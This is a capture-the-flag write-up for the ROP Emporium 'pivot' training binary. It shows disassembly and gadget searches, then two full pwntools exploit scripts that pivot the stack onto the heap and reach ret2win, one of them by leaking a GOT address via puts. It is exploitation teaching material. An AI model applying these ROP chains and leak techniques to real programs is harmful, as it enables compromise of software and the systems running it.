pivot
Description
The pivot challenge is the seventh of the ropemporium challenges.
Exploration
Checksec
1
2
3
4
5
6
7
8
9
$ checksec ./pivot
[*] '/home/ctf/ctf/ropemporium/pivot/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
Gadgets (usefulGadgets
)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x00000000004009bb <+0>: pop rax
0x00000000004009bc <+1>: ret
0x00000000004009bd <+2>: xchg rsp,rax
0x00000000004009bf <+4>: ret
0x00000000004009c0 <+5>: mov rax,QWORD PTR [rax]
0x00000000004009c3 <+8>: ret
0x00000000004009c4 <+9>: add rax,rbp
0x00000000004009c7 <+12>: ret
0x00000000004009c8 <+13>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
We can see gadgets that can:
- set
rax
- switch
rax
andrsp
- dereference
rax
- add
rbp
torax
The vulnerability (pwnme
)
The pwnme
function has two reads:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x00000000004008f1 <+0>: push rbp
0x00000000004008f2 <+1>: mov rbp,rsp
0x00000000004008f5 <+4>: sub rsp,0x30
0x00000000004008f9 <+8>: mov QWORD PTR [rbp-0x28],rdi
0x00000000004008fd <+12>: lea rax,[rbp-0x20]
0x0000000000400901 <+16>: mov edx,0x20
0x0000000000400906 <+21>: mov esi,0x0
0x000000000040090b <+26>: mov rdi,rax
0x000000000040090e <+29>: call 0x400700 <memset@plt>
0x0000000000400913 <+34>: mov edi,0x400aa9
0x0000000000400918 <+39>: call 0x4006e0 <puts@plt>
0x000000000040091d <+44>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400921 <+48>: mov rsi,rax
0x0000000000400924 <+51>: mov edi,0x400ac8
0x0000000000400929 <+56>: mov eax,0x0
0x000000000040092e <+61>: call 0x4006f0 <printf@plt>
0x0000000000400933 <+66>: mov edi,0x400b08
0x0000000000400938 <+71>: call 0x4006e0 <puts@plt>
0x000000000040093d <+76>: mov edi,0x400b34
0x0000000000400942 <+81>: mov eax,0x0
0x0000000000400947 <+86>: call 0x4006f0 <printf@plt>
0x000000000040094c <+91>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400950 <+95>: mov edx,0x100
0x0000000000400955 <+100>: mov rsi,rax
0x0000000000400958 <+103>: mov edi,0x0
0x000000000040095d <+108>: call 0x400710 <read@plt>
0x0000000000400962 <+113>: mov edi,0x400b37
0x0000000000400967 <+118>: call 0x4006e0 <puts@plt>
0x000000000040096c <+123>: mov edi,0x400b48
0x0000000000400971 <+128>: call 0x4006e0 <puts@plt>
0x0000000000400976 <+133>: mov edi,0x400b34
0x000000000040097b <+138>: mov eax,0x0
0x0000000000400980 <+143>: call 0x4006f0 <printf@plt>
0x0000000000400985 <+148>: lea rax,[rbp-0x20]
0x0000000000400989 <+152>: mov edx,0x40
0x000000000040098e <+157>: mov rsi,rax
0x0000000000400991 <+160>: mov edi,0x0
0x0000000000400996 <+165>: call 0x400710 <read@plt>
0x000000000040099b <+170>: mov edi,0x400b69
0x00000000004009a0 <+175>: call 0x4006e0 <puts@plt>
0x00000000004009a5 <+180>: nop
0x00000000004009a6 <+181>: leave
0x00000000004009a7 <+182>: ret
End of assembler dump.
Running it shows the following:
1
2
3
4
5
6
7
8
9
10
11
12
pivot by ROP Emporium
x86_64
Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7a1df10
Send a ROP chain now and it will land there
> hi
Thank you!
Now please send your stack smash
> hi
Thank you!
We can see that it gives us a location to write the main rop chain and requires us to first return to that point before doing the rest of the payload.
This location is in the heap, as pwnme
takes in a parameter via rdi
from main, where we can see a malloc
call that is passed into pwnme
through rdi
:
1
2
3
0x0000000000400889 <+66>: mov edi,0x1000000
0x000000000040088e <+71>: call 0x400730 <malloc@plt>
0x0000000000400893 <+76>: mov QWORD PTR [rbp-0x8],rax
Note that the heap size is huge: 0x1000000.
Other gadgets
We’ll need to use a pop rbp
gadget to make use of the addition gadget.
1
2
3
4
5
6
7
8
$ ropper -f ./pivot --search "pop rbp; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rbp; ret
[INFO] File: ./pivot
0x00000000004007c8: pop rbp; ret;
We’ll also need a call rax
gadget to use the address we’re calculating in rax
.
1
2
3
4
5
6
7
8
9
$ ropper -f ./pivot --search "call rax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: call rax
[INFO] File: ./pivot
0x00000000004006b0: call rax;
0x00000000004006b0: call rax; add rsp, 8; ret;
Exploit
The plan is to write two payloads: the first will return us to the given location and set the stack:
- set
rax
to address - exchange
rsp
andrax
- return to the top of the stack, which is in the heap.
The second payload needs to do a few more things:
- call
foothold_function@plt
to update the global offset table (GOT) - load
foothold_function@got
intorax
- calculate the offset between
foothold_function
andret2win
inlibpivot.so
- load the offset into
rbp
- add
rbp
torax
- call
rax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pivot")
libpivot = ELF("./libpivot.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
Gadgets:
1
2
3
4
5
6
7
rdi_gadget = 0x400a33
rax_gadget = 0x4009bb
xchg_gadget = 0x4009bd
deref_gadget = 0x4009c0
add_rbp_to_rax_gadget = 0x4009c4
call_rax_gadget = 0x4006b0
rbp_gadget = 0x4007c8
1
2
3
4
5
6
7
8
9
10
11
def ret2heap(heap_address):
offset = 0x28
return flat({
offset: [
# save rbp
rax_gadget,
heap_address,
xchg_gadget
]
})
1
2
3
4
5
6
7
8
9
10
11
12
13
def print_foothold():
offset = libpivot.sym["ret2win"] - libpivot.sym["foothold_function"]
return flat([
# call foothold_functio
exe.plt["foothold_function"],
rbp_gadget,
offset,
rax_gadget,
exe.got["foothold_function"],
deref_gadget,
add_rbp_to_rax_gadget,
call_rax_gadget
])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def main():
r = conn()
# good luck pwning :)
r.sendline(print_foothold())
r.recvuntil(b": ")
heap_address = int(r.recvline().decode().strip(), 16)
r.sendline(ret2heap(heap_address))
r.interactive()
if __name__ == "__main__":
main()
Alternative solution
We can leak the address of foothold_function
using puts
:
1
2
3
4
5
6
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF("./pivot")
libpivot = ELF("./libpivot.so")
rop = ROP(exe)
r = process("./pivot")
The first payload first calls foothold_function
as usual to load the GOT, but then it calls puts
on the GOT pointer to leak the data. It then calls main
, having printed the address of foothold_function
.
1
2
3
4
5
6
7
8
9
10
11
r.recvuntil(b": ")
heap_address = int(r.recvline().decode().strip(), 16)
rdi_gadget = rop.find_gadget(["pop rdi", "ret"])[0]
payload1 = flat([
exe.plt["foothold_function"],
rop.find_gadget(["pop rdi", "ret"])[0],
exe.got["foothold_function"],
exe.plt["puts"],
exe.sym["main"],
])
r.sendline(payload1)
The second payload is the same as it was in the original solution.
1
2
3
4
5
6
7
8
9
10
offset = 0x28
xchg_gadget = 0x4009bd
payload2 = flat({
offset: [
rop.find_gadget(["pop rax", "ret"])[0],
heap_address,
xchg_gadget
]
})
r.sendline(payload2)
The third payload calculates the base address of the libpivot
library to call ret2win
in the stack smash.
1
2
3
4
5
6
7
8
9
r.recvuntil(b"libpivot\n")
foothold_function_address = int.from_bytes(r.recvline().strip(), byteorder="little")
libpivot.address = foothold_function_address - libpivot.sym["foothold_function"]
payload3 = flat({
offset: libpivot.sym["ret2win"]
})
r.sendline(payload3)
r.interactive()
This solution has less reliance on gadgets and more on puts
, which is used often in C binaries.
Conclusion
I had to consult writeups as I was too focused on preserving rbp
that I forgot about the other gadgets at my disposal, which was the solution from this writeup. I also did not understand GOT leaking until I read this writeup.